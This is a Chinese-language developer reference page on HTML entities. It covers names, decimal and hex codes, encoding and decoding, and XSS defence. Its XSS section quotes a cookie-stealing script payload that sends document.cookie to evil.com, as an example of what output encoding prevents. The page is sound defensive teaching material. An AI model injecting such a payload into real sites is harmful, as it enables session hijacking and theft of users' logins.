涵蓋 200+ HTML 實體 · 即時搜尋 · Encoder / Decoder · 完整對照

HTML Entity Lookup HTML 實體查詢對照表

查詢所有 HTML 實體(Entity)的名稱、代碼、Unicode 與字元顯示。 內建 Entity Encoder / Decoder 即時轉換工具,Web 開發者必備。

常用 HTML Entity

🎮 Entity Playground 編碼 / 解碼工具

即時將 HTML 編碼或解碼,一鍵查看轉換結果

❓ 常見問題 FAQ

關於 HTML Entity 的常見疑問與解答

什麼是 HTML Entity?

HTML Entity(HTML 實體) 是一種在 HTML 文件中表示特殊字元的方式。當你想要在網頁上顯示一個在 HTML 中有特殊意義的字元(如 <>&),或者顯示鍵盤上無法直接輸入的字元(如 ©),就需要使用 HTML Entity。

HTML Entity 有三種表示方式:

  • Entity Name — 如 &copy;&lt;,以名稱記憶,較易讀
  • Decimal Code — 如 &#169;&#60;,以十進位 Unicode 表示
  • Hex Code — 如 &#xA9;&#x3C;,以十六進位 Unicode 表示
為什麼需要 HTML Encode?

HTML Encode(HTML 編碼)是將特殊字元轉換為對應的 HTML Entity 的過程。這在以下場景非常重要:

  • 防止 XSS 攻擊 — 將使用者輸入的 <script> 轉為 &lt;script&gt;,避免惡意腳本執行
  • 顯示保留字元 — 在網頁內容中顯示 <>& 而不被瀏覽器解析為 HTML 標籤
  • Email Template — 確保郵件在各個郵件客戶端中顯示正確
  • XML/RSS Feed — 確保特殊字元不會破壞 Feed 結構
  • 資料庫輸出 — 將使用者產生的內容安全地呈現在網頁上

安全性提醒:在 Web 開發中,永遠不要直接將使用者輸入的內容作為 HTML 輸出。務必進行 HTML Encode 處理。這是防止 XSS(跨站腳本攻擊)最基本也最重要的防護措施。

Entity Name、Decimal 與 Hex 有什麼差異?

這三種都是表示 HTML Entity 的方式,但各有優缺點:

方式 格式 範例(©) 優點 缺點
Entity Name &name; &copy; 易讀、好記憶 並非所有字元都有名稱
Decimal &#D; &#169; 所有 Unicode 字元皆可使用 較長、不易記憶
Hex &#xH; &#xA9; 與 Unicode 編碼直接對應 需要懂十六進位

使用建議:日常開發中優先使用 Entity Name(可讀性最佳),若該字元沒有 Entity Name 則使用 DecimalHex 代碼。三者在瀏覽器中的渲染結果完全相同。

HTML Entity 與 Unicode 有什麼關係?

Unicode 是一個全球通用的字元編碼標準,為每個字元分配一個唯一的代碼點(Code Point),例如 U+00A9 代表 © 符號。

HTML Entity 的 DecimalHex 格式本質上就是 Unicode 代碼點的不同進位表示:

  • Unicode Code PointU+00A9(十六進位)
  • HTML Hex Entity&#xA9;(去掉 U+,加上 &#x 和 ;)
  • HTML Decimal Entity&#169;(將 0xA9 轉為十進位 169)

簡單來說:HTML Entity 是 Unicode 在 HTML 文件中的「表達方式」。當你使用 &#xA9;&#169; 時,你就是在告訴瀏覽器:「請在這裡顯示 Unicode 代碼點為 U+00A9 的字元。」Unicode 是標準,HTML Entity 是這個標準在 HTML 中的應用。

HTML Encode 與 URL Encode 有什麼不同?

這是兩個不同的概念,常被混淆:

特性 HTML Encode URL Encode
用途在 HTML 中安全顯示字元在 URL 中安全傳輸字元
編碼方式&lt;&#60;%3C%20
範例 <&lt;%3C
範例 空白&nbsp;%20
應用場景HTML 內容、Email Template網址查詢參數、API 請求

簡單區分:如果你在寫 HTML 文件,需要的是 HTML Encode。如果你在建構 URL(如 ?q=hello world),需要的是 URL Encode(又稱 Percent Encoding)。

XSS 攻擊與 HTML Entity 有什麼關係?

XSS(Cross-Site Scripting) 是一種常見的網頁安全漏洞。攻擊者將惡意腳本注入到網頁中,當其他使用者瀏覽該頁面時,惡意腳本就會執行。

HTML Entity 編碼是防止 XSS 的第一道防線:

範例:

不安全:使用者輸入 <script>alert('XSS')</script> 直接輸出 → 腳本被執行

安全:HTML Encode 後 → &lt;script&gt;alert('XSS')&lt;/script&gt; → 安全顯示為文字

最佳實踐:

  • 在伺服器端對所有使用者輸入進行 HTML Encode
  • 使用 Content Security Policy(CSP)標頭作為第二層防護
  • 避免使用 dangerouslySetInnerHTML(React)或 v-html(Vue)除非絕對必要
  • 對所有輸出到 HTML 的動態內容進行編碼
如何在 JavaScript 中進行 HTML Encode / Decode?

在 JavaScript 中,最簡單安全的 HTML Encode/Decode 方法是使用 DOM API:

HTML Encode:

function htmlEncode(str) {
    const el = document.createElement('span');
    el.textContent = str;
    return el.innerHTML;
}
// "<div>Hello & World</div>"
htmlEncode('<div>Hello & World</div>');

HTML Decode:

function htmlDecode(str) {
    const el = document.createElement('span');
    el.innerHTML = str;
    return el.textContent;
}
// "<div>Hello & World</div>"
htmlDecode('&lt;div&gt;Hello &amp; World&lt;/div&gt;');

💡 提示:也可以使用 DOMParserinnerHTML 進行解析,但上述方法是最輕量且安全的做法。使用 ToolHub 的 Entity Playground 可以即時測試編碼解碼結果。

📖 HTML Entity 完整指南

深入了解 HTML Entity 的運作原理、使用情境與安全最佳實踐

什麼是 HTML Entity?為什麼它對 Web 開發如此重要?

HTML Entity(HTML 實體) 是 HTML 文件中用來表示特殊字元的文字序列。在 HTML 語法中,某些字元具有特殊的意義(如 < 代表標籤開始、& 代表 Entity 開始),當你希望將這些字元當作普通文字顯示時,就必須使用 HTML Entity。

此外,HTML Entity 還可以幫助你顯示鍵盤上無法直接輸入的字元,如版權符號 ©、註冊商標 ®、歐元符號 等。對於多語言網站和特殊符號的呈現,HTML Entity 是不可或缺的工具。

HTML Entity 的三種表示方式

每一個 HTML Entity 都可以用以下三種方式表示:

1. Entity Name(具名實體)

使用易於記憶的名稱來表示字元。格式為 &名稱;。例如:

  • &copy; → ©
  • &lt; → <
  • &amp; → &
  • &reg; → ®

Entity Name 的優點是 可讀性高、容易記憶。缺點是並非所有 Unicode 字元都有對應的 Entity Name(僅約 2200+ 個常見字元有命名實體)。

2. Decimal Code(十進位數字實體)

使用 Unicode 代碼點的十進位數字來表示字元。格式為 &#數字;。例如:

  • &#169; → ©(Unicode U+00A9 = 十進位 169)
  • &#60; → <(Unicode U+003C = 十進位 60)
  • &#8364; → €(Unicode U+20AC = 十進位 8364)

Decimal Code 的優點是 涵蓋所有 Unicode 字元,不怕找不到對應的 Entity Name。

3. Hex Code(十六進位數字實體)

使用 Unicode 代碼點的十六進位數字來表示字元。格式為 &#x十六進位;(x 不區分大小寫)。例如:

  • &#xA9; → ©(Unicode U+00A9)
  • &#x3C; → <(Unicode U+003C)
  • &#x20AC; → €(Unicode U+20AC)

Hex Code 的優點是 與 Unicode 編碼直接對應,開發者可以在 Unicode 表中直接找到對應的十六進位值。

HTML 常用特殊字元速查表

以下是 Web 開發中最常用的 HTML Entity:

字元 Entity Name Decimal Hex 說明
&&amp;&#38;&#x26;& 符號
<&lt;&#60;&#x3C;小於
>&gt;&#62;&#x3E;大於
"&quot;&#34;&#x22;雙引號
'&apos;&#39;&#x27;單引號
&nbsp;&#160;&#xA0;不斷行空白
©&copy;&#169;&#xA9;版權符號
®&reg;&#174;&#xAE;註冊商標
&trade;&#8482;&#x2122;商標符號
&euro;&#8364;&#x20AC;歐元

HTML Entity 與 XSS 防護

XSS(Cross-Site Scripting) 是最常見的網頁安全漏洞之一。攻擊者通過在網頁中注入惡意腳本,來竊取使用者資料、劫持會話或進行釣魚攻擊。

HTML Entity 編碼是防止 XSS 攻擊的最基本也最重要的手段:

攻擊情境:

評論區中,攻擊者提交了:<script>document.location='http://evil.com/?cookie='+document.cookie</script>

❌ 如果直接輸出到頁面 → 攻擊腳本被執行,使用者的 Cookie 被盜

✅ 如果經過 HTML Encode → 轉換為 &lt;script&gt;...&lt;/script&gt; → 安全顯示為純文字

XSS 防護的最佳實踐

  • 輸入驗證 — 在前端和後端都對使用者輸入進行驗證和過濾
  • 輸出編碼 — 根據輸出位置(HTML、JavaScript、CSS、URL)使用不同的編碼方式
  • Content Security Policy(CSP) — 設定 HTTP 標頭限制腳本來源
  • HttpOnly Cookie — 設定 Cookie 的 HttpOnly 屬性,防止 JavaScript 存取
  • 使用安全的框架 API — React 的 {text}(非 dangerouslySetInnerHTML)、Vue 的 { text }(非 v-html)
  • 定期安全檢測 — 使用自動化工具掃描 XSS 漏洞

HTML Entity 編碼與解碼工具

在實際開發中,你可能需要:

  • Encode(編碼) — 將 <div>Tom & Jerry</div> 轉為 &lt;div&gt;Tom &amp; Jerry&lt;/div&gt;
  • Decode(解碼) — 將 &lt;div&gt;Tom &amp; Jerry&lt;/div&gt; 轉回原始 HTML

使用 ToolHub 提供的 Entity Playground,你可以在左側輸入原始文字進行編碼,或在右側輸入已編碼的文字進行解碼。所有操作都在瀏覽器本地完成,不會上傳任何資料。

HTML Entity 在 Email Template 中的應用

在 Email Template 開發中,HTML Entity 尤其重要:

  • 跨郵件客戶端相容性 — 不同郵件客戶端(Outlook、Gmail、Apple Mail)對 HTML 的支援程度不同,使用 Entity 可以確保特殊字元正確顯示
  • 版權與商標符號 — 在郵件頁尾中顯示 ©、®、™ 等符號
  • 貨幣符號 — 在電子報中正確顯示 €、£、¥、₽ 等貨幣符號
  • 避免編碼問題 — 使用 Entity 可以避免因郵件客戶端字元編碼設定不同而導致的亂碼問題

HTML Entity 與 SEO

正確使用 HTML Entity 對 SEO 也有正面影響:

  • 避免內容誤解 — 使用 &copy; 而非 © 字元,確保搜尋引擎正確解析內容
  • 標題與 Meta 描述 — 在 <title><meta> 中使用 Entity 確保特殊字元正確顯示
  • 結構化資料 — 在 JSON-LD 等結構化資料中使用 Entity 避免解析錯誤
  • Sitemap — 在 XML Sitemap 中使用 Entity 處理特殊字元

總結:HTML Entity 是 Web 開發的基礎知識。無論是顯示特殊字元、防止 XSS 攻擊、開發 Email Template,還是優化 SEO,都離不開 HTML Entity 的正確使用。使用 ToolHub 的 HTML Entity Lookup 工具,隨時查詢任何字元的 Entity 代碼,並利用 Entity Playground 進行編碼解碼測試。

操作成功